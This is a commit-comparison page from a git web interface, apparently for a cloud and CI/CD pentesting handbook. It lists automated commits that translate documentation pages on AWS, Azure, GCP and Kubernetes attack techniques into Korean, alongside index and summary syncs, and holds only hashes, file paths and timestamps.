Compare commits

..

283 Commits

Author SHA1 Message Date
Translator
a4c6fd01a0 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation 2025-12-08 11:36:55 +00:00
Translator
c48ed49bcc Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-12-07 15:53:39 +00:00
Translator
87706ad9e9 Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act 2025-12-07 11:36:21 +00:00
Translator
2c5330ad89 Sync SUMMARY.md with master 2025-12-04 10:38:06 +00:00
Translator
43ac9abf11 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-12-04 10:38:05 +00:00
Translator
4196157ba5 Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-30 12:27:32 +00:00
Translator
2b10fa24ed Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-28 09:48:28 +00:00
Translator
4f5e07ed9b Sync SUMMARY.md with master 2025-11-26 17:25:18 +00:00
Translator
e001ab9a8d Sync SUMMARY.md with master 2025-11-26 17:23:19 +00:00
Translator
a7bf3e92fa Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-11-26 17:23:18 +00:00
carlospolop
3483bae2df Sync theme/ with master 2025-11-25 10:16:07 +01:00
carlospolop
b1fd1a83bc Sync hacktricks-preprocessor.py with master (mdbook 0.5.x fix) 2025-11-24 23:42:52 +01:00
Translator
acdbeaecb3 Translated ['', 'src/pentesting-cloud/aws-security/aws-unauthenticated-e 2025-11-24 22:35:15 +00:00
Translator
9972f8ccb4 Translated ['', 'src/pentesting-cloud/aws-security/aws-unauthenticated-e 2025-11-24 21:40:15 +00:00
carlospolop
16433092e8 Sync book.toml with master 2025-11-24 17:32:31 +01:00
Translator
950f9bdf89 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-11-24 10:24:55 +00:00
Translator
ddf85f846f Sync SUMMARY.md with master 2025-11-22 20:14:50 +00:00
Translator
c688e7eef9 Sync SUMMARY.md with master 2025-11-22 20:12:56 +00:00
Translator
9752859196 Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-stora 2025-11-22 20:12:55 +00:00
Translator
e202d17af7 Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala 2025-11-19 17:18:50 +00:00
Translator
ddb60d2289 Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta 2025-11-19 14:44:07 +00:00
Translator
d547b72bcf Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to ko 2025-11-17 15:47:48 +00:00
Translator
7c25baa1e4 Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har 2025-11-17 12:20:14 +00:00
Translator
b8740f1257 Sync SUMMARY.md with master 2025-11-15 16:37:22 +00:00
Translator
9fa6587c8b Translated ['src/pentesting-cloud/confidential-computing/luks2-header-ma 2025-11-15 16:37:20 +00:00
Translator
bd4b61e6c7 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat 2025-11-15 11:48:05 +00:00
Translator
28a551016a Translated ['', 'src/pentesting-cloud/aws-security/aws-unauthenticated-e 2025-11-01 11:06:04 +00:00
Translator
3a70b50f8b Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement 2025-11-01 10:59:53 +00:00
Translator
710ae1d551 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-bedrock- 2025-10-25 22:35:32 +00:00
Translator
7eeb560267 Fix unmatched refs 2025-10-25 22:29:55 +00:00
Translator
bf43b6fb5f Sync SUMMARY.md with master 2025-10-25 16:13:32 +00:00
Translator
883e52c0ac Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p 2025-10-25 16:13:30 +00:00
Translator
b0326fb751 Sync SUMMARY.md with master 2025-10-25 15:55:47 +00:00
Translator
da49e6b84c Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-25 15:55:46 +00:00
Translator
5fade8d3d5 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 21:53:30 +00:00
Translator
e189058c87 Translated ['src/pentesting-cloud/aws-security/aws-services/README.md', 2025-10-23 20:49:49 +00:00
Translator
eed2255872 Sync SUMMARY.md with master 2025-10-23 15:00:34 +00:00
Translator
1d70c750ca Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-23 15:00:32 +00:00
Translator
0574021ac6 Sync SUMMARY.md with master 2025-10-23 13:44:43 +00:00
Translator
1ff6a96a7b Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers 2025-10-23 13:44:42 +00:00
Translator
ad14f447c8 Sync SUMMARY.md with master 2025-10-23 13:18:59 +00:00
Translator
2ecb7242cb Translated ['src/pentesting-cloud/aws-security/aws-services/aws-bedrock- 2025-10-23 13:18:58 +00:00
Translator
c13056804b Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-23 13:12:51 +00:00
Translator
9c89f0a270 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-sagemake 2025-10-23 11:00:14 +00:00
Translator
78f8970463 Fix unmatched refs 2025-10-23 10:55:09 +00:00
Translator
fb1ba01219 Fix unmatched refs 2025-10-23 10:51:04 +00:00
Translator
18d208c718 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-10-17 15:55:38 +00:00
Translator
1d472623c6 Fix unmatched refs 2025-10-17 15:38:59 +00:00
Translator
99c59bc147 Sync SUMMARY.md with master 2025-10-14 02:10:39 +00:00
Translator
433bf79f45 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-10-14 02:10:37 +00:00
Translator
78d6c05972 Fix unmatched refs 2025-10-09 10:28:42 +00:00
Translator
9ef106e999 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-07 15:40:02 +00:00
Translator
9eb65109b1 Fix unmatched refs 2025-10-07 15:30:07 +00:00
Translator
be72ff35c9 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-07 09:50:18 +00:00
Translator
603fe1645f Sync SUMMARY.md with master 2025-10-06 23:04:27 +00:00
Translator
c96bf6154c Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-10-06 23:04:26 +00:00
Translator
89293678a9 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-06 11:27:42 +00:00
Translator
c69d885625 Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-06 10:00:59 +00:00
Translator
1803a4ebde Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-04 09:19:04 +00:00
Translator
0c18a8381a Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation 2025-10-01 10:26:19 +00:00
Translator
ffc4541aac Translated ['', 'src/README.md'] to ko 2025-10-01 09:58:08 +00:00
Translator
ba99a4061d Update searchindex (purged history; keep current) 2025-09-30 22:13:43 +00:00
Translator
6cb7a9ec43 Sync SUMMARY.md with master 2025-09-30 19:29:40 +00:00
Translator
73f11eab1a Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA 2025-09-30 19:29:26 +00:00
Translator
8ccadfd6d8 Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-09-30 19:17:47 +00:00
Translator
3ddd1b46bb Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube 2025-09-29 23:54:54 +00:00
Translator
9a26e6a553 Sync SUMMARY.md with master 2025-09-29 23:28:03 +00:00
Translator
f70096de4b Translated ['src/pentesting-cloud/azure-security/az-basic-information/az 2025-09-29 23:27:38 +00:00
Translator
2e805ac33b Translated ['', 'src/pentesting-ci-cd/supabase-security.md'] to ko 2025-09-29 23:09:31 +00:00
Translator
6b4a8321bf Sync SUMMARY.md with master 2025-09-29 22:59:43 +00:00
Translator
e5f5d38bd8 Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA 2025-09-29 22:51:45 +00:00
Translator
5fe04c0519 Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-09-29 22:47:54 +00:00
Translator
6e3a7219a9 Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation 2025-09-29 22:32:47 +00:00
Translator
1a82f6d658 Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act 2025-09-29 21:51:41 +00:00
Translator
c0503c6fec Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA 2025-09-29 21:18:38 +00:00
Translator
f007fd0166 Translated ['', 'src/pentesting-ci-cd/gitblit-security/gitblit-embedded- 2025-09-04 23:49:37 +00:00
Translator
d4610bc3d0 Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src 2025-08-31 08:22:31 +00:00
Translator
d2a80e707f Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat 2025-08-31 08:13:51 +00:00
Translator
9af5d2e5c3 Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv 2025-08-28 18:03:06 +00:00
Translator
53f9ed5767 Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement 2025-08-25 21:27:04 +00:00
Translator
d0f4aa6725 Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-08-21 00:24:13 +00:00
Translator
a968b75d80 Translated ['src/pentesting-ci-cd/terraform-security.md'] to ko 2025-08-19 15:33:12 +00:00
carlospolop
8b22c75dca f 2025-08-19 17:18:22 +02:00
Translator
096fb8e324 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-08-18 14:56:17 +00:00
Translator
ae1cee7095 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-08-18 14:52:33 +00:00
Translator
7b60687043 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-08-18 14:48:22 +00:00
Translator
264180f4e9 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-08-18 14:45:57 +00:00
Translator
e5fb45610d Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-08-18 14:19:42 +00:00
Translator
34b0963621 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-08-18 14:07:57 +00:00
Translator
c47dd34490 Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-08-04 09:31:51 +00:00
Translator
67112997f5 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-08-01 10:15:32 +00:00
Translator
fcac1838a7 Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle 2025-08-01 10:12:47 +00:00
Translator
da385494e9 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-08-01 09:45:54 +00:00
Translator
3981a703b9 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-30 04:50:59 +00:00
Translator
e955f7ac7b Translated ['src/pentesting-cloud/azure-security/az-device-registration. 2025-07-30 04:16:47 +00:00
Translator
007bd9d621 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-30 04:11:16 +00:00
Translator
469eb08ca1 Translated ['src/pentesting-cloud/azure-security/az-device-registration. 2025-07-30 04:08:18 +00:00
Translator
b8ba588a84 Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-29 16:04:25 +00:00
Translator
a9d09cc33c Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-24 11:30:22 +00:00
Translator
e0c15b69b1 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p 2025-07-24 06:56:37 +00:00
Translator
bdb9677858 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p 2025-07-24 06:50:19 +00:00
Translator
e03c2c11ef Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo 2025-07-23 22:09:39 +00:00
Translator
ffd9a5da63 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem 2025-07-22 19:00:52 +00:00
Translator
4c9af15f8e Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem 2025-07-22 12:32:39 +00:00
Translator
eca0859423 Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-07-12 14:23:58 +00:00
Translator
96c1625f53 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-kms-enum 2025-07-07 09:57:53 +00:00
Translator
33697b2787 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-kms-enum 2025-07-03 14:54:16 +00:00
Translator
0ae24d520e Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions 2025-06-25 00:23:17 +00:00
Translator
164afdc9b3 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-06-24 14:04:44 +00:00
Translator
09ad448487 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-06-24 14:00:30 +00:00
Translator
b11d79711f Translated ['src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum- 2025-06-10 12:36:34 +00:00
Translator
4a40013525 Translated ['src/README.md'] to ko 2025-05-20 15:40:09 +00:00
Translator
559694003f Translated ['src/pentesting-cloud/azure-security/az-services/az-misc.md' 2025-05-20 15:18:30 +00:00
Translator
09652acffd Translated ['src/pentesting-cloud/workspace-security/gws-workspace-sync- 2025-05-20 06:04:58 +00:00
Translator
d017c25e3f Translated ['src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting 2025-05-17 05:01:08 +00:00
Translator
2d3ac46906 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-05-14 13:51:34 +00:00
Translator
fa5f33e715 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-05-12 19:25:32 +00:00
Translator
4a831f5280 Translated ['src/pentesting-cloud/azure-security/az-basic-information/az 2025-05-11 15:09:12 +00:00
Translator
7b8043acdb Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-09 12:43:52 +00:00
Translator
708e689b78 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-09 11:47:43 +00:00
Translator
646a7fa87b Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-05-09 11:45:38 +00:00
Translator
681e2b2c39 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-05-09 11:19:17 +00:00
Translator
f97acef818 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-05-01 11:39:55 +00:00
Translator
320e116228 Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum- 2025-04-30 15:35:51 +00:00
Translator
7d0e1f15c0 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-30 15:32:12 +00:00
Translator
e1a0dd4c53 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-04-21 21:02:25 +00:00
Translator
cc14c29582 Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-04-14 22:07:07 +00:00
Translator
369306e1bb Translated ['src/banners/hacktricks-training.md'] to ko 2025-04-14 22:01:04 +00:00
Translator
7bafe1008c Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-04-13 14:33:48 +00:00
Translator
23e54abaef Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-04-11 00:28:25 +00:00
Translator
77e06d85cf Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud 2025-04-07 01:41:57 +00:00
Translator
7b931aadb3 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-04-07 01:39:08 +00:00
Translator
cc1babb461 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-04-03 20:32:55 +00:00
Translator
1e19d319bf Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-03 20:29:36 +00:00
Translator
82de6045f7 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-04-03 13:47:18 +00:00
Translator
88f892e1b8 Update searchindex for ko 2025-04-02 15:54:10 +00:00
Translator
b6bf88886b Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-04-02 15:53:43 +00:00
Translator
8e497fc6bb Update searchindex for ko 2025-03-29 22:56:57 +00:00
Translator
4303f0e1d7 Update searchindex for ko 2025-03-29 08:43:40 +00:00
Translator
211d4df825 Update searchindex for ko 2025-03-28 15:53:30 +00:00
Translator
f342bc9f86 Update searchindex for ko 2025-03-28 11:25:01 +00:00
Translator
4b290e1d1a Update searchindex for ko 2025-03-28 10:47:22 +00:00
Translator
a1a541a44f Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-03-28 10:47:01 +00:00
Translator
4295d169a9 Update searchindex for ko 2025-03-27 12:45:24 +00:00
Translator
4eac305c9c Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-03-27 12:45:06 +00:00
Translator
22a501bdfc Update searchindex for ko 2025-03-21 09:36:07 +00:00
Translator
caf4e8a746 Translated ['src/pentesting-cloud/azure-security/az-services/az-defender 2025-03-21 09:35:47 +00:00
Translator
8074b412c4 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-21 09:24:08 +00:00
Translator
e09752ba8f Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-21 09:07:29 +00:00
Translator
32a6626876 Translated ['src/pentesting-cloud/azure-security/az-services/az-sql.md'] 2025-03-21 09:03:58 +00:00
Translator
736b665693 Update searchindex for ko 2025-03-18 05:49:00 +00:00
Translator
96ba39f329 Update searchindex for ko 2025-03-17 11:56:37 +00:00
Translator
6555c5d502 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-03-17 03:51:29 +00:00
Translator
7bf28c44fe Translated ['src/pentesting-cloud/azure-security/README.md'] to ko 2025-03-04 22:09:21 +00:00
Translator
204a662aa9 Update searchindex for ko 2025-03-02 12:55:17 +00:00
Translator
062bbf1c0e Update searchindex for ko 2025-03-02 00:21:23 +00:00
Translator
c38cd84c76 Update searchindex for ko 2025-02-26 16:12:03 +00:00
Translator
fe426d1e3b Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-26 16:11:39 +00:00
Translator
42197185be Update searchindex for ko 2025-02-26 01:02:27 +00:00
Translator
9a7d5a2c76 Translated ['src/pentesting-cloud/azure-security/az-services/az-sql.md'] 2025-02-26 01:02:12 +00:00
Translator
1e49ef03af Translated ['src/pentesting-cloud/azure-security/az-services/az-queue.md 2025-02-26 00:41:41 +00:00
Translator
30e390e92f Translated ['src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting 2025-02-26 00:22:09 +00:00
Translator
d9a888e796 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-queue 2025-02-25 23:33:49 +00:00
Translator
767e20cfa5 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-sql-p 2025-02-25 23:16:56 +00:00
Translator
3190cb19f9 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-logic 2025-02-25 22:39:17 +00:00
Translator
ba71cd8db9 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 22:37:34 +00:00
Translator
cb166d5f4a Translated ['src/pentesting-cloud/azure-security/az-services/az-containe 2025-02-25 22:30:56 +00:00
Translator
c6b3c7c831 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 22:09:14 +00:00
Translator
03fb05eec8 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-25 21:58:20 +00:00
Translator
1c2c8fca19 Update searchindex for ko 2025-02-25 05:08:57 +00:00
Translator
66b62a6837 Update searchindex for ko 2025-02-24 10:29:47 +00:00
Translator
aed4ab0ee8 Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-22 16:15:39 +00:00
Translator
ba1b5b9f54 Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-22 12:48:03 +00:00
Translator
f44808e410 Update searchindex for ko 2025-02-21 23:33:41 +00:00
Translator
9658779c89 Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh 2025-02-21 13:57:28 +00:00
Translator
a43cb40db4 Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s 2025-02-21 11:04:51 +00:00
Translator
84b74b3d44 Update searchindex for ko 2025-02-21 11:02:54 +00:00
Translator
e475bafe6b Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-02-20 23:14:49 +00:00
Translator
1fe23c621c Update searchindex for ko 2025-02-20 12:10:09 +00:00
Translator
e8b233e6fe Update searchindex for ko 2025-02-20 00:56:41 +00:00
Translator
2f7d149a81 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-queue 2025-02-20 00:55:14 +00:00
Translator
b5dc48938e Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-20 00:44:16 +00:00
Translator
892695807d Update searchindex for ko 2025-02-19 01:29:39 +00:00
Translator
43b475fbcb Update searchindex for ko 2025-02-18 11:18:15 +00:00
Translator
d397062caa Translated ['src/pentesting-cloud/azure-security/az-services/az-serviceb 2025-02-17 20:57:31 +00:00
Translator
b5e883e7f7 Update searchindex for ko 2025-02-17 18:27:17 +00:00
Translator
e8e5d916c2 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-autom 2025-02-17 18:21:41 +00:00
Translator
0246aa4149 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-organiza 2025-02-17 17:14:59 +00:00
Translator
1514d11eee Translated ['src/pentesting-cloud/aws-security/aws-services/aws-organiza 2025-02-17 12:02:00 +00:00
Translator
55e4d9f9cf Update searchindex for ko 2025-02-17 10:56:11 +00:00
Translator
ef02c56ffb Update searchindex for ko 2025-02-16 17:27:16 +00:00
Translator
a3c59375b9 Update searchindex for ko 2025-02-15 17:50:27 +00:00
Translator
38dfc77f3c Update searchindex for ko 2025-02-15 15:25:20 +00:00
Translator
c8a58e393e Update searchindex for ko 2025-02-15 03:25:27 +00:00
Translator
f93a199017 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-15 03:25:10 +00:00
Translator
3821daf9e9 Update searchindex for ko 2025-02-15 02:02:05 +00:00
Translator
34a6ee6b7c Translated ['src/pentesting-cloud/azure-security/az-unauthenticated-enum 2025-02-15 02:01:49 +00:00
Translator
5e5770c903 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-15 01:18:34 +00:00
Translator
221be92dad Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-15 01:16:04 +00:00
Translator
2475b5c602 Update searchindex for ko 2025-02-14 18:20:04 +00:00
Translator
b201d5aa5f Update searchindex for ko 2025-02-14 16:20:15 +00:00
Translator
54c00a0097 Update searchindex for ko 2025-02-14 15:44:31 +00:00
Translator
d6761e1148 Update searchindex for ko 2025-02-13 17:45:53 +00:00
Translator
585cb413a0 Update searchindex for ko 2025-02-13 10:01:58 +00:00
Translator
2f3757e2f4 Update searchindex for ko 2025-02-13 09:55:00 +00:00
Translator
ba0bb1c53b Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-13 09:54:34 +00:00
Translator
f1432c31d9 Update searchindex for ko 2025-02-12 17:23:19 +00:00
Translator
7aa01e9237 Update searchindex for ko 2025-02-12 17:08:15 +00:00
Translator
c5a1eb110a Update searchindex for ko 2025-02-12 14:40:56 +00:00
Translator
8a09ca6331 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-12 14:40:42 +00:00
Translator
8af91a0dbd Update searchindex for ko 2025-02-12 14:27:28 +00:00
Translator
08d8246cf6 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-12 14:27:12 +00:00
Translator
143de50aaf Update searchindex for ko 2025-02-12 13:50:55 +00:00
Translator
f0af9d1dcc Translated ['src/pentesting-cloud/azure-security/az-services/az-automati 2025-02-12 13:50:34 +00:00
Translator
e5733af8d7 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-12 13:38:39 +00:00
Translator
f0664ed6ae Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-02-11 17:14:47 +00:00
Translator
b85ddf2368 Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA 2025-02-10 23:50:18 +00:00
Translator
5ee2774c33 Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-10 23:32:34 +00:00
Translator
d7ad57521c Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-10 00:25:10 +00:00
Translator
ea0f33a37b Translated ['src/pentesting-cloud/azure-security/az-services/az-azuread. 2025-02-09 17:53:32 +00:00
Translator
6d588acbc2 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-02-09 14:58:42 +00:00
Translator
0b125e0151 Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-08 18:57:30 +00:00
Translator
4b9bb49dba Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-08 18:50:55 +00:00
Translator
00b867b409 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-02-08 13:48:24 +00:00
Translator
afb9a4353e Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-02-07 00:05:01 +00:00
Translator
998e7eb6fe Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-02-06 02:14:29 +00:00
Translator
6b5690a2b9 Translated ['src/pentesting-cloud/azure-security/az-basic-information/RE 2025-02-05 23:37:15 +00:00
Translator
43a02467f3 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-efs-enum 2025-02-04 18:19:04 +00:00
Translator
e5152c87dc Translated ['src/pentesting-cloud/aws-security/aws-services/aws-efs-enum 2025-02-02 18:22:53 +00:00
Translator
6d71bdde8c Translated ['src/pentesting-cloud/azure-security/az-services/az-file-sha 2025-01-29 11:34:40 +00:00
Translator
ae9340f855 Translated ['src/pentesting-cloud/azure-security/az-services/az-azuread. 2025-01-27 14:21:41 +00:00
Translator
309d08be51 Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws 2025-01-26 21:48:59 +00:00
Translator
6a2d8614ff Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-01-26 21:46:24 +00:00
Translator
33b1eade8b Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-01-26 18:00:15 +00:00
Translator
5ed11ee052 Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud 2025-01-26 15:17:37 +00:00
Translator
4361fb5c2b Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-26 15:10:07 +00:00
Translator
5c54b3cb10 Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito- 2025-01-26 14:51:31 +00:00
Translator
01d65e96fe Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-26 14:22:50 +00:00
Translator
4347d8d887 Translated ['src/pentesting-cloud/azure-security/az-unauthenticated-enum 2025-01-26 11:03:17 +00:00
Translator
9c29179fa4 Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-26 10:44:48 +00:00
Translator
adad2e413d Translated ['src/pentesting-cloud/azure-security/README.md', 'src/pentes 2025-01-25 14:38:31 +00:00
Translator
b07168476e Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB 2025-01-22 23:09:54 +00:00
Translator
e3528e9430 Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus 2025-01-22 12:07:09 +00:00
Translator
d34c27d000 Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB 2025-01-22 09:53:54 +00:00
Translator
1ea191cbdc Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera 2025-01-22 09:51:49 +00:00
Translator
39bcf8e140 Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p 2025-01-21 17:39:08 +00:00
Translator
33472f0c3f Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-12 18:44:28 +00:00
Translator
3cac7ed9eb Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains 2025-01-11 19:16:28 +00:00
Translator
825293ede8 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-10 17:42:08 +00:00
Translator
eb46f1f263 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-10 13:19:29 +00:00
Translator
8e384ce197 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-10 12:03:40 +00:00
Translator
747ee50cce Translated ['src/README.md'] to ko 2025-01-09 17:21:40 +00:00
Translator
b57f13ad1a Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az 2025-01-09 16:36:28 +00:00
Translator
a6fb244d02 Translated ['src/pentesting-cloud/azure-security/az-services/az-keyvault 2025-01-09 16:31:17 +00:00
Translator
95e4b08e5d Translated ['src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pen 2025-01-09 14:47:46 +00:00
Translator
d3b66be55f Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 08:37:27 +00:00
Translator
14c17497b7 Translated ['README.md', 'src/pentesting-cloud/azure-security/az-service 2025-01-09 08:33:27 +00:00
Translator
62818cf461 Translated ['src/pentesting-cloud/azure-security/az-services/az-static-w 2025-01-09 08:16:48 +00:00
Translator
cb1a0f403f Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 08:11:36 +00:00
Translator
a2920fa84b Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 08:08:16 +00:00
Translator
77d80cfc8a Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-09 07:44:47 +00:00
Translator
d2949c1cfc Translated ['src/pentesting-cloud/azure-security/az-permissions-for-a-pe 2025-01-09 07:35:32 +00:00
Translator
